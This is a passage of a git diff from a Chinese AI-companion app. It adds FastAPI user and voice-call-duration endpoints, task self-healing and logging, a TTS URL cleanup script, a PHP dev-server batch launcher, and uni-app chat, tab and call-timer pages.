merge = tmp.query(SingSongVideo).filter(SingSongVideo.id == merge_id).first()
|
||||
if merge and merge.status == "succeeded" and merge.merged_video_url:
|
||||
current = (
|
||||
tmp.query(GenerationTask)
|
||||
|
|
@ -2465,7 +3006,6 @@ def get_sing_task(
|
|||
"content_safety_blocked": content_safety_blocked,
|
||||
}
|
||||
current.updated_at = datetime.utcnow()
|
||||
# 更新聊天占位消息与扣减(若未扣)
|
||||
try:
|
||||
lover_msg_id = (current.payload or {}).get("lover_message_id")
|
||||
session_id = (current.payload or {}).get("session_id")
|
||||
|
|
@ -2517,8 +3057,21 @@ def get_sing_task(
|
|||
tmp.commit()
|
||||
task = current
|
||||
|
||||
resp_msg = status_msg_map.get(task.status or "", resp_msg)
|
||||
# 自愈:成功任务但历史缺记录,补写 nf_sing_song_video
|
||||
if task.status == "succeeded":
|
||||
try:
|
||||
_ensure_sing_history_record(db, task)
|
||||
db.commit()
|
||||
except Exception:
|
||||
db.rollback()
|
||||
|
||||
# 自愈:失败任务但 DashScope 可能已成功(下载/上传失败导致),后台重试一次
|
||||
if task.status == "failed":
|
||||
payload = task.payload or {}
|
||||
if payload.get("dashscope_task_id") and not payload.get("retry_finalized"):
|
||||
background_tasks.add_task(_retry_finalize_sing_task, int(task.id))
|
||||
|
||||
resp_msg = status_msg_map.get(task.status or "", resp_msg)
|
||||
payload = task.payload or {}
|
||||
return success_response(
|
||||
SingTaskStatusOut(
|
||||
|
|
@ -2533,3 +3086,4 @@ def get_sing_task(
|
|||
),
|
||||
msg=resp_msg,
|
||||
)
|
||||
|
||||
|
|
|
|||
32
lover/routers/user.py
Normal file
32
lover/routers/user.py
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/user/info")
|
||||
def get_user_info(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户信息"""
|
||||
return success_response({
|
||||
"id": user.id,
|
||||
"nickname": user.nickname,
|
||||
"reg_step": user.reg_step,
|
||||
"gender": user.gender
|
||||
})
|
||||
|
||||
@router.post("/user/logout")
|
||||
def logout(user: AuthedUser = Depends(get_current_user)):
|
||||
"""用户登出"""
|
||||
return success_response({"message": "登出成功"})
|
||||
|
||||
@router.get("/user/profile")
|
||||
def get_user_profile(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户资料"""
|
||||
return success_response({
|
||||
"id": user.id,
|
||||
"nickname": user.nickname,
|
||||
"avatar": "",
|
||||
"gender": user.gender,
|
||||
"city": "",
|
||||
"hobbies": []
|
||||
})
|
||||
31
lover/routers/user_basic.py
Normal file
31
lover/routers/user_basic.py
Normal file
|
|
@ -0,0 +1,31 @@
|
|||
from fastapi import APIRouter, Depends, HTTPException
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/api/user_basic/get_user_basic")
|
||||
def get_user_basic(user: AuthedUser = Depends(get_current_user)):
|
||||
"""给 FastAdmin 调用的用户信息接口(兼容原 PHP 接口格式)"""
|
||||
return {
|
||||
"code": 1,
|
||||
"msg": "success",
|
||||
"data": {
|
||||
"id": user.id,
|
||||
"nickname": user.nickname,
|
||||
"reg_step": user.reg_step,
|
||||
"gender": user.gender,
|
||||
}
|
||||
}
|
||||
|
||||
@router.get("/api/user_basic/get_hobbies")
|
||||
def get_hobbies(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户兴趣爱好"""
|
||||
return success_response([
|
||||
{"id": 1, "name": "游戏", "selected": True},
|
||||
{"id": 2, "name": "骑行", "selected": True},
|
||||
{"id": 3, "name": "读书", "selected": True},
|
||||
{"id": 4, "name": "音乐", "selected": False},
|
||||
{"id": 5, "name": "运动", "selected": False},
|
||||
{"id": 6, "name": "旅行", "selected": False}
|
||||
])
|
||||
|
|
@ -7,15 +7,15 @@ from typing import List, Optional
|
|||
|
||||
import requests
|
||||
import dashscope
|
||||
from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect, status
|
||||
from fastapi import APIRouter, Depends, HTTPException, WebSocket, WebSocketDisconnect, status
|
||||
from fastapi.websockets import WebSocketState
|
||||
|
||||
from ..config import settings
|
||||
from ..deps import AuthedUser, _fetch_user_from_php
|
||||
from ..deps import AuthedUser, get_current_user, _fetch_user_from_php
|
||||
from ..llm import chat_completion_stream
|
||||
from ..tts import synthesize
|
||||
from ..db import SessionLocal
|
||||
from ..models import Lover, VoiceLibrary
|
||||
from ..models import Lover, VoiceLibrary, User
|
||||
|
||||
try:
|
||||
from dashscope.audio.asr import Recognition, RecognitionCallback, RecognitionResult
|
||||
|
|
@ -37,6 +37,37 @@ logger.setLevel(logging.INFO)
|
|||
END_OF_TTS = "<<VOICE_CALL_TTS_END>>"
|
||||
|
||||
|
||||
@router.get("/call/duration")
|
||||
async def get_call_duration(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户的语音通话时长配置"""
|
||||
from ..db import SessionLocal
|
||||
from ..models import User
|
||||
from datetime import datetime
|
||||
|
||||
db = SessionLocal()
|
||||
try:
|
||||
user_row = db.query(User).filter(User.id == user.id).first()
|
||||
if not user_row:
|
||||
raise HTTPException(status_code=404, detail="用户不存在")
|
||||
|
||||
# 检查 VIP 状态(vip_endtime 是 Unix 时间戳)
|
||||
current_timestamp = int(datetime.utcnow().timestamp())
|
||||
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
|
||||
|
||||
if is_vip:
|
||||
duration = 0 # 0 表示无限制
|
||||
else:
|
||||
duration = 300000 # 普通用户 5 分钟
|
||||
|
||||
from ..response import success_response
|
||||
return success_response({
|
||||
"duration": duration,
|
||||
"is_vip": is_vip
|
||||
})
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
class WSRecognitionCallback(RecognitionCallback): # type: ignore[misc]
|
||||
"""ASR 回调,将句子级结果推入会话队列。"""
|
||||
|
||||
|
|
|
|||
29
lover/scripts/fix_tts_urls.py
Normal file
29
lover/scripts/fix_tts_urls.py
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
"""
|
||||
修复数据库中的 TTS URL,将 127.0.0.1 替换为空,让系统重新生成
|
||||
"""
|
||||
import sys
|
||||
import os
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||
|
||||
from sqlalchemy import create_engine, text
|
||||
from lover.config import settings
|
||||
|
||||
def fix_tts_urls():
|
||||
engine = create_engine(settings.DATABASE_URL)
|
||||
|
||||
with engine.connect() as conn:
|
||||
# 将所有包含 127.0.0.1 的 TTS URL 清空
|
||||
result = conn.execute(
|
||||
text("""
|
||||
UPDATE nf_chat_message
|
||||
SET tts_url = NULL, tts_status = 'pending'
|
||||
WHERE tts_url LIKE '%127.0.0.1%'
|
||||
""")
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
print(f"已清理 {result.rowcount} 条旧的 TTS URL")
|
||||
print("用户下次请求 TTS 时会自动使用新的 URL")
|
||||
|
||||
if __name__ == "__main__":
|
||||
fix_tts_urls()
|
||||
|
|
@ -17,10 +17,14 @@ class SimpleTaskQueue:
|
|||
self._inflight_lock = threading.Lock()
|
||||
|
||||
def start(self, workers: int):
|
||||
import logging
|
||||
logger = logging.getLogger(self._name)
|
||||
with self._lock:
|
||||
if self._started:
|
||||
logger.warning(f"{self._name} 队列已经启动,跳过")
|
||||
return
|
||||
self._started = True
|
||||
logger.info(f"启动 {workers} 个 {self._name} worker 线程")
|
||||
for idx in range(max(1, workers)):
|
||||
thread = threading.Thread(
|
||||
target=self._worker,
|
||||
|
|
@ -29,6 +33,8 @@ class SimpleTaskQueue:
|
|||
)
|
||||
thread.start()
|
||||
self._threads.append(thread)
|
||||
logger.info(f"Worker 线程 {self._name}-worker-{idx + 1} 已启动")
|
||||
logger.info(f"{self._name} 队列启动完成,共 {len(self._threads)} 个 worker")
|
||||
|
||||
def enqueue(self, func: Callable, *args, **kwargs) -> None:
|
||||
self._queue.put((None, func, args, kwargs))
|
||||
|
|
@ -45,22 +51,35 @@ class SimpleTaskQueue:
|
|||
return True
|
||||
|
||||
def _worker(self):
|
||||
import logging
|
||||
logger = logging.getLogger(self._name)
|
||||
logger.info(f"Worker 线程 {threading.current_thread().name} 开始运行")
|
||||
while True:
|
||||
key, func, args, kwargs = self._queue.get()
|
||||
try:
|
||||
func(*args, **kwargs)
|
||||
except Exception:
|
||||
logging.exception("%s worker task failed", self._name)
|
||||
finally:
|
||||
if key:
|
||||
with self._inflight_lock:
|
||||
self._inflight.discard(key)
|
||||
self._queue.task_done()
|
||||
logger.debug(f"Worker {threading.current_thread().name} 等待任务...")
|
||||
key, func, args, kwargs = self._queue.get()
|
||||
logger.info(f"Worker {threading.current_thread().name} 获取到任务: {func.__name__}, key={key}")
|
||||
try:
|
||||
func(*args, **kwargs)
|
||||
logger.info(f"Worker {threading.current_thread().name} 任务完成: {func.__name__}")
|
||||
except Exception as e:
|
||||
logger.exception(f"{self._name} worker 任务失败: {e}")
|
||||
finally:
|
||||
if key:
|
||||
with self._inflight_lock:
|
||||
self._inflight.discard(key)
|
||||
self._queue.task_done()
|
||||
except Exception as e:
|
||||
logger.exception(f"Worker {threading.current_thread().name} 发生异常: {e}")
|
||||
|
||||
|
||||
sing_task_queue = SimpleTaskQueue("sing")
|
||||
|
||||
|
||||
def start_sing_workers():
|
||||
import logging
|
||||
logger = logging.getLogger("sing")
|
||||
workers = max(1, settings.SING_MERGE_MAX_CONCURRENCY or 1)
|
||||
logger.info(f"启动 {workers} 个唱歌任务 worker 线程")
|
||||
sing_task_queue.start(workers)
|
||||
logger.info("唱歌任务 worker 线程启动完成")
|
||||
|
|
|
|||
BIN
public/tts/47/776.mp3
Normal file
BIN
public/tts/47/776.mp3
Normal file
Binary file not shown.
161
start_php_advanced.bat
Normal file
161
start_php_advanced.bat
Normal file
|
|
@ -0,0 +1,161 @@
|
|||
@echo off
|
||||
chcp 65001 >nul
|
||||
title PHP 开发服务器
|
||||
|
||||
:MENU
|
||||
cls
|
||||
echo ========================================
|
||||
echo PHP 开发服务器启动脚本 (高级版)
|
||||
echo ========================================
|
||||
echo.
|
||||
echo 请选择启动模式:
|
||||
echo.
|
||||
echo [1] 快速启动 (端口 8080)
|
||||
echo [2] 自定义端口
|
||||
echo [3] 查看 PHP 信息
|
||||
echo [4] 退出
|
||||
echo.
|
||||
echo ========================================
|
||||
set /p choice=请输入选项 (1-4):
|
||||
|
||||
if "%choice%"=="1" goto QUICK_START
|
||||
if "%choice%"=="2" goto CUSTOM_PORT
|
||||
if "%choice%"=="3" goto PHP_INFO
|
||||
if "%choice%"=="4" goto END
|
||||
echo [错误] 无效选项,请重新选择
|
||||
timeout /t 2 >nul
|
||||
goto MENU
|
||||
|
||||
:QUICK_START
|
||||
set PORT=8080
|
||||
goto START_SERVER
|
||||
|
||||
:CUSTOM_PORT
|
||||
echo.
|
||||
set /p PORT=请输入端口号 (例如: 8080):
|
||||
if "%PORT%"=="" (
|
||||
echo [错误] 端口号不能为空
|
||||
timeout /t 2 >nul
|
||||
goto MENU
|
||||
)
|
||||
goto START_SERVER
|
||||
|
||||
:START_SERVER
|
||||
cls
|
||||
echo ========================================
|
||||
echo 正在启动 PHP 开发服务器...
|
||||
echo ========================================
|
||||
echo.
|
||||
|
||||
REM 设置 PHP 路径
|
||||
set PHP_PATH=D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe
|
||||
|
||||
REM 检查 PHP 是否存在
|
||||
if not exist "%PHP_PATH%" (
|
||||
echo [错误] PHP 未找到: %PHP_PATH%
|
||||
echo.
|
||||
echo 请修改脚本中的 PHP_PATH 变量
|
||||
pause
|
||||
goto MENU
|
||||
)
|
||||
|
||||
REM 显示 PHP 版本
|
||||
echo [信息] PHP 版本:
|
||||
"%PHP_PATH%" -v | findstr /C:"PHP"
|
||||
echo.
|
||||
|
||||
REM 设置项目根目录
|
||||
set PROJECT_ROOT=%~dp0xunifriend_RaeeC\public
|
||||
|
||||
REM 检查项目目录是否存在
|
||||
if not exist "%PROJECT_ROOT%" (
|
||||
echo [错误] 项目目录未找到: %PROJECT_ROOT%
|
||||
pause
|
||||
goto MENU
|
||||
)
|
||||
|
||||
REM 获取本机 IP 地址
|
||||
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /C:"IPv4"') do (
|
||||
set LOCAL_IP=%%a
|
||||
goto :IP_FOUND
|
||||
)
|
||||
:IP_FOUND
|
||||
set LOCAL_IP=%LOCAL_IP: =%
|
||||
|
||||
REM 设置服务器参数
|
||||
set HOST=0.0.0.0
|
||||
|
||||
echo [信息] 项目目录: %PROJECT_ROOT%
|
||||
echo [信息] 服务器端口: %PORT%
|
||||
echo.
|
||||
echo ========================================
|
||||
echo 访问地址:
|
||||
echo ========================================
|
||||
echo.
|
||||
echo [本地访问]
|
||||
echo http://127.0.0.1:%PORT%
|
||||
echo http://localhost:%PORT%
|
||||
echo.
|
||||
echo [局域网访问]
|
||||
echo http://%LOCAL_IP%:%PORT%
|
||||
echo.
|
||||
echo [管理后台]
|
||||
echo http://127.0.0.1:%PORT%/admin
|
||||
echo.
|
||||
echo ========================================
|
||||
echo.
|
||||
echo [提示] 按 Ctrl+C 停止服务器
|
||||
echo.
|
||||
|
||||
REM 询问是否打开浏览器
|
||||
set /p OPEN_BROWSER=是否自动打开浏览器? (Y/N):
|
||||
if /i "%OPEN_BROWSER%"=="Y" (
|
||||
echo [信息] 正在打开浏览器...
|
||||
start http://127.0.0.1:%PORT%
|
||||
)
|
||||
|
||||
echo.
|
||||
echo [信息] 服务器启动中...
|
||||
echo ========================================
|
||||
echo.
|
||||
|
||||
REM 启动 PHP 内置服务器
|
||||
cd /d "%PROJECT_ROOT%"
|
||||
"%PHP_PATH%" -S %HOST%:%PORT% -t .
|
||||
|
||||
pause
|
||||
goto MENU
|
||||
|
||||
:PHP_INFO
|
||||
cls
|
||||
echo ========================================
|
||||
echo PHP 信息
|
||||
echo ========================================
|
||||
echo.
|
||||
|
||||
set PHP_PATH=D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe
|
||||
|
||||
if not exist "%PHP_PATH%" (
|
||||
echo [错误] PHP 未找到: %PHP_PATH%
|
||||
pause
|
||||
goto MENU
|
||||
)
|
||||
|
||||
echo [PHP 版本]
|
||||
"%PHP_PATH%" -v
|
||||
echo.
|
||||
echo [PHP 配置文件]
|
||||
"%PHP_PATH%" --ini
|
||||
echo.
|
||||
echo [已加载的扩展]
|
||||
"%PHP_PATH%" -m
|
||||
echo.
|
||||
|
||||
pause
|
||||
goto MENU
|
||||
|
||||
:END
|
||||
echo.
|
||||
echo 感谢使用!
|
||||
timeout /t 1 >nul
|
||||
exit
|
||||
|
|
@ -1,13 +0,0 @@
|
|||
{
|
||||
"hash": "58b0dea4",
|
||||
"browserHash": "94d21d6d",
|
||||
"optimized": {
|
||||
"easemob-websdk/uniApp/Easemob-chat": {
|
||||
"src": "../../node_modules/easemob-websdk/uniApp/Easemob-chat.js",
|
||||
"file": "easemob-websdk_uniApp_Easemob-chat.js",
|
||||
"fileHash": "44a13f3e",
|
||||
"needsInterop": true
|
||||
}
|
||||
},
|
||||
"chunks": {}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -1 +0,0 @@
|
|||
{"type":"module"}
|
||||
127
xuniYou/components/main-tabs.vue
Normal file
127
xuniYou/components/main-tabs.vue
Normal file
|
|
@ -0,0 +1,127 @@
|
|||
<template>
|
||||
<view class="main-tabs-container">
|
||||
<scroll-view class="tab-scroll" scroll-x="true" show-scrollbar="false">
|
||||
<view class="tab-list">
|
||||
<view
|
||||
v-for="(tab, index) in tabs"
|
||||
:key="index"
|
||||
class="tab-item"
|
||||
:class="{ 'active': currentIndex === index }"
|
||||
@click="switchTab(index)">
|
||||
<text class="tab-name">{{ tab.name }}</text>
|
||||
</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
</view>
|
||||
</template>
|
||||
|
||||
<script>
|
||||
export default {
|
||||
name: 'MainTabs',
|
||||
props: {
|
||||
// 当前激活的 tab 索引
|
||||
current: {
|
||||
type: Number,
|
||||
default: 0
|
||||
}
|
||||
},
|
||||
data() {
|
||||
return {
|
||||
currentIndex: this.current,
|
||||
tabs: [
|
||||
{ name: '首页', path: '/pages/index/index' },
|
||||
{ name: '聊天', path: '/pages/chat/simple' }, // 改为简化版聊天页面
|
||||
{ name: '唱歌', path: '/pages/index/index?tab=2' },
|
||||
{ name: '跳舞', path: '/pages/index/index?tab=3' },
|
||||
{ name: '换服装', path: '/pages/index/replacement' },
|
||||
{ name: '刷礼物', path: '/pages/index/index?tab=5' },
|
||||
{ name: '商城', path: '/pages/index/index?tab=6' },
|
||||
{ name: '短剧', path: '/pages/index/index?tab=7' }
|
||||
]
|
||||
}
|
||||
},
|
||||
watch: {
|
||||
current(newVal) {
|
||||
this.currentIndex = newVal;
|
||||
}
|
||||
},
|
||||
methods: {
|
||||
switchTab(index) {
|
||||
console.log('Tab 组件:切换到索引', index, '对应 Tab:', this.tabs[index].name);
|
||||
|
||||
const tab = this.tabs[index];
|
||||
|
||||
// 如果是当前页面,不跳转
|
||||
if (this.currentIndex === index) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 特殊处理:首页、聊天、换服装使用 redirectTo
|
||||
if (index === 0) {
|
||||
// 首页
|
||||
uni.redirectTo({
|
||||
url: '/pages/index/index'
|
||||
});
|
||||
} else if (index === 1) {
|
||||
// 聊天 - 跳转到简化版
|
||||
uni.redirectTo({
|
||||
url: '/pages/chat/simple'
|
||||
});
|
||||
} else if (index === 4) {
|
||||
// 换服装
|
||||
uni.redirectTo({
|
||||
url: '/pages/index/replacement'
|
||||
});
|
||||
} else {
|
||||
// 其他 tab 返回首页并切换到对应 tab
|
||||
uni.redirectTo({
|
||||
url: `/pages/index/index?tab=${index}`
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.main-tabs-container {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 1000;
|
||||
background: rgba(255, 255, 255, 0.95);
|
||||
padding: 10rpx 0;
|
||||
padding-top: calc(10rpx + var(--status-bar-height));
|
||||
box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
|
||||
.tab-scroll {
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.tab-list {
|
||||
display: inline-flex;
|
||||
padding: 0 20rpx;
|
||||
}
|
||||
|
||||
.tab-item {
|
||||
display: inline-block;
|
||||
padding: 15rpx 30rpx;
|
||||
margin: 0 10rpx;
|
||||
font-size: 28rpx;
|
||||
color: #666;
|
||||
border-radius: 30rpx;
|
||||
transition: all 0.3s;
|
||||
}
|
||||
|
||||
.tab-item.active {
|
||||
color: #fff;
|
||||
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.tab-name {
|
||||
white-space: nowrap;
|
||||
}
|
||||
</style>
|
||||
|
|
@ -71,6 +71,15 @@
|
|||
"navigationStyle": "custom"
|
||||
}
|
||||
},
|
||||
{
|
||||
"path": "pages/chat/simple",
|
||||
"style": {
|
||||
"navigationBarTitleText": "聊天",
|
||||
"navigationBarBackgroundColor": "#FFFFFF",
|
||||
"navigationBarTextStyle": "black",
|
||||
"navigationStyle": "custom"
|
||||
}
|
||||
},
|
||||
{
|
||||
"path": "pages/chat/phone",
|
||||
"style": {
|
||||
|
|
|
|||
|
|
@ -76,6 +76,8 @@
|
|||
</template>
|
||||
|
||||
<script>
|
||||
import { baseURL } from '@/utils/request.js'
|
||||
|
||||
export default {
|
||||
data() {
|
||||
return {
|
||||
|
|
@ -262,7 +264,7 @@ export default {
|
|||
},
|
||||
computed: {
|
||||
baseURL() {
|
||||
return 'http://127.0.0.1:8080';
|
||||
return baseURL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -275,6 +275,7 @@
|
|||
SingGenerate,
|
||||
SingGenerateTask
|
||||
} from '@/utils/api.js'
|
||||
import { baseURL, baseURLPy } from '@/utils/request.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
import ai from '@/components/ai.vue';
|
||||
|
|
@ -353,8 +354,8 @@
|
|||
// 消息编辑相关
|
||||
editModalVisible: false,
|
||||
editingMessage: null,
|
||||
baseURL: 'http://127.0.0.1:8080',
|
||||
baseURLPy: 'http://127.0.0.1:8000',
|
||||
baseURL: baseURL,
|
||||
baseURLPy: baseURLPy,
|
||||
// 思考时间相关
|
||||
messageSentTime: 0, // 消息发送时间戳
|
||||
}
|
||||
|
|
@ -731,6 +732,7 @@
|
|||
|
||||
// 播放音频
|
||||
this.currentAudioContext.play();
|
||||
this.isPlaying = true; // 设置播放状态为true
|
||||
|
||||
// 监听播放结束事件,播放结束后清空当前音频上下文
|
||||
this.currentAudioContext.onEnded(() => {
|
||||
|
|
@ -1150,12 +1152,17 @@
|
|||
this.sessionSend();
|
||||
},
|
||||
playVoice(id) {
|
||||
// 如果点击的是当前正在播放的语音,则停止播放
|
||||
console.log('点击播放按钮,消息ID:', id, '当前播放ID:', this.currentPlayingId, '播放状态:', this.isPlaying);
|
||||
|
||||
// 如果点击的是当前正在播放的语音,则暂停播放
|
||||
if (this.currentPlayingId === id && this.isPlaying) {
|
||||
console.log('暂停当前播放的音频');
|
||||
this.stopCurrentAudio();
|
||||
return;
|
||||
}
|
||||
|
||||
// 开始播放新的音频
|
||||
console.log('开始播放新音频,消息ID:', id);
|
||||
this.chatMessagesTtsform.id = id;
|
||||
this.currentPlayingId = id; // 设置当前播放ID
|
||||
this.isPlaying = true; // 设置播放状态
|
||||
|
|
|
|||
|
|
@ -9,13 +9,13 @@
|
|||
</view>
|
||||
<view class="header">
|
||||
<view class="header_content">
|
||||
<view class="header_time">通话剩余时间</view>
|
||||
<view class="header_module fa sb">
|
||||
<view class="header_title faj">00</view>
|
||||
<view class="header_title faj">05</view>
|
||||
<view class="header_title faj">00</view>
|
||||
<view class="header_time">{{ isVip ? 'VIP 无限通话' : '通话剩余时间' }}</view>
|
||||
<view class="header_module fa sb" v-if="!isVip">
|
||||
<view class="header_title faj">{{ formatTime(remainingTime).hours }}</view>
|
||||
<view class="header_title faj">{{ formatTime(remainingTime).minutes }}</view>
|
||||
<view class="header_title faj">{{ formatTime(remainingTime).seconds }}</view>
|
||||
</view>
|
||||
<view class="header_recharge faj">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
|
||||
<view class="header_recharge faj" @click="goRecharge">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
|
|
@ -56,6 +56,7 @@
|
|||
|
||||
} from '@/utils/api.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
const recorderManager = uni.getRecorderManager();
|
||||
export default {
|
||||
|
|
@ -77,7 +78,10 @@
|
|||
audioContext: null,
|
||||
audioData: [],
|
||||
isApp: false, // 是否为 App 端
|
||||
|
||||
totalDuration: 300000, // 默认 5 分钟
|
||||
remainingTime: 300000,
|
||||
timer: null,
|
||||
isVip: false
|
||||
}
|
||||
},
|
||||
onLoad() {
|
||||
|
|
@ -86,13 +90,82 @@
|
|||
console.log('systemInfo', systemInfo)
|
||||
// console.log('plus', plus)
|
||||
this.isApp = systemInfo.uniPlatform === 'app'
|
||||
this.connectWebSocket()
|
||||
this.getCallDuration()
|
||||
this.initAudio()
|
||||
},
|
||||
onUnload() {
|
||||
this.stopCall()
|
||||
if (this.timer) {
|
||||
clearInterval(this.timer)
|
||||
}
|
||||
},
|
||||
methods: {
|
||||
getCallDuration() {
|
||||
uni.request({
|
||||
url: baseURLPy + '/voice/call/duration',
|
||||
method: 'GET',
|
||||
header: {
|
||||
'Authorization': 'Bearer ' + uni.getStorageSync("token")
|
||||
},
|
||||
success: (res) => {
|
||||
console.log('通话时长配置:', res.data)
|
||||
if (res.data.code === 1 && res.data.data) {
|
||||
const duration = res.data.data.duration
|
||||
this.isVip = res.data.data.is_vip
|
||||
if (duration > 0) {
|
||||
this.totalDuration = duration
|
||||
this.remainingTime = duration
|
||||
} else {
|
||||
// VIP 用户无限制,设置为 24 小时
|
||||
this.totalDuration = 24 * 60 * 60 * 1000
|
||||
this.remainingTime = 24 * 60 * 60 * 1000
|
||||
}
|
||||
}
|
||||
this.connectWebSocket()
|
||||
},
|
||||
fail: (err) => {
|
||||
console.error('获取通话时长失败:', err)
|
||||
// 失败时使用默认值
|
||||
this.connectWebSocket()
|
||||
}
|
||||
})
|
||||
},
|
||||
formatTime(ms) {
|
||||
const totalSeconds = Math.floor(ms / 1000)
|
||||
const hours = Math.floor(totalSeconds / 3600)
|
||||
const minutes = Math.floor((totalSeconds % 3600) / 60)
|
||||
const seconds = totalSeconds % 60
|
||||
return {
|
||||
hours: String(hours).padStart(2, '0'),
|
||||
minutes: String(minutes).padStart(2, '0'),
|
||||
seconds: String(seconds).padStart(2, '0')
|
||||
}
|
||||
},
|
||||
startTimer() {
|
||||
if (this.timer) {
|
||||
clearInterval(this.timer)
|
||||
}
|
||||
this.timer = setInterval(() => {
|
||||
this.remainingTime -= 1000
|
||||
if (this.remainingTime <= 0) {
|
||||
clearInterval(this.timer)
|
||||
uni.showToast({
|
||||
title: '通话时间已用完',
|
||||
icon: 'none'
|
||||
})
|
||||
setTimeout(() => {
|
||||
uni.navigateBack()
|
||||
}, 1500)
|
||||
} else if (this.remainingTime === 60000) {
|
||||
// 剩余 1 分钟提示
|
||||
uni.showToast({
|
||||
title: '剩余 1 分钟',
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
})
|
||||
}
|
||||
}, 1000)
|
||||
},
|
||||
hangUp() {
|
||||
uni.showModal({
|
||||
title: '提示',
|
||||
|
|
@ -147,6 +220,7 @@
|
|||
this.socketTask.onOpen((res) => {
|
||||
console.log('onOpen:', res)
|
||||
this.startRecording();
|
||||
this.startTimer();
|
||||
});
|
||||
this.socketTask.onMessage((res) => {
|
||||
console.log('onMessage:', res.data)
|
||||
|
|
@ -189,7 +263,7 @@
|
|||
}
|
||||
});
|
||||
recorderManager.start({
|
||||
duration: 600000,
|
||||
duration: this.totalDuration,
|
||||
format: 'pcm', // ⚠️ 必须用 PCM,Paraformer 实时版只吃 PCM
|
||||
sampleRate: 16000, // ⚠️ 必须 16000Hz,这是 ASR 的标准
|
||||
numberOfChannels: 1, // 单声道
|
||||
|
|
@ -271,6 +345,9 @@
|
|||
this.audioContext.pause();
|
||||
this.audioContext.destroy();
|
||||
}
|
||||
if (this.timer) {
|
||||
clearInterval(this.timer);
|
||||
}
|
||||
},
|
||||
// 接收消息
|
||||
async handleServerMessage(data) {
|
||||
|
|
@ -693,6 +770,12 @@
|
|||
delta: 2,
|
||||
});
|
||||
},
|
||||
goRecharge() {
|
||||
uni.showToast({
|
||||
title: '充值功能开发中',
|
||||
icon: 'none'
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
|
|
|||
289
xuniYou/pages/chat/simple.vue
Normal file
289
xuniYou/pages/chat/simple.vue
Normal file
|
|
@ -0,0 +1,289 @@
|
|||
<template>
|
||||
<view class="chat-page">
|
||||
<!-- 顶部 Tab 栏 -->
|
||||
<main-tabs :current="1"></main-tabs>
|
||||
|
||||
<!-- 聊天内容区域 -->
|
||||
<scroll-view
|
||||
class="message-container"
|
||||
scroll-y="true"
|
||||
:scroll-top="scrollTop"
|
||||
scroll-with-animation="true">
|
||||
<view class="message-list">
|
||||
<view
|
||||
v-for="(msg, index) in messages"
|
||||
:key="index"
|
||||
class="message-item"
|
||||
:class="msg.role === 'user' ? 'message-right' : 'message-left'">
|
||||
<image
|
||||
class="avatar"
|
||||
:src="msg.role === 'user' ? userAvatar : loverAvatar"
|
||||
mode="aspectFill">
|
||||
</image>
|
||||
<view class="message-bubble">
|
||||
<text class="message-text">{{ msg.content }}</text>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
|
||||
<!-- 底部输入框 -->
|
||||
<view class="input-bar">
|
||||
<input
|
||||
class="message-input"
|
||||
v-model="inputText"
|
||||
placeholder="输入消息..."
|
||||
confirm-type="send"
|
||||
@confirm="sendMessage"
|
||||
/>
|
||||
<view class="send-btn" @click="sendMessage">
|
||||
<text>发送</text>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
</template>
|
||||
|
||||
<script>
|
||||
import MainTabs from '@/components/main-tabs.vue';
|
||||
import { SessionInit, SessionSend } from '@/utils/api.js';
|
||||
|
||||
export default {
|
||||
components: {
|
||||
MainTabs
|
||||
},
|
||||
data() {
|
||||
return {
|
||||
messages: [],
|
||||
inputText: '',
|
||||
scrollTop: 0,
|
||||
sessionId: null,
|
||||
userAvatar: '',
|
||||
loverAvatar: '',
|
||||
sending: false
|
||||
}
|
||||
},
|
||||
onLoad() {
|
||||
// 获取用户头像
|
||||
const userInfo = uni.getStorageSync('userinfo');
|
||||
this.userAvatar = userInfo?.avatar || '/static/images/avatar.png';
|
||||
|
||||
// 获取恋人头像
|
||||
const loverInfo = uni.getStorageSync('loverBasicList');
|
||||
this.loverAvatar = loverInfo?.image_url || '/static/images/avatar.png';
|
||||
|
||||
// 初始化会话
|
||||
this.initSession();
|
||||
},
|
||||
methods: {
|
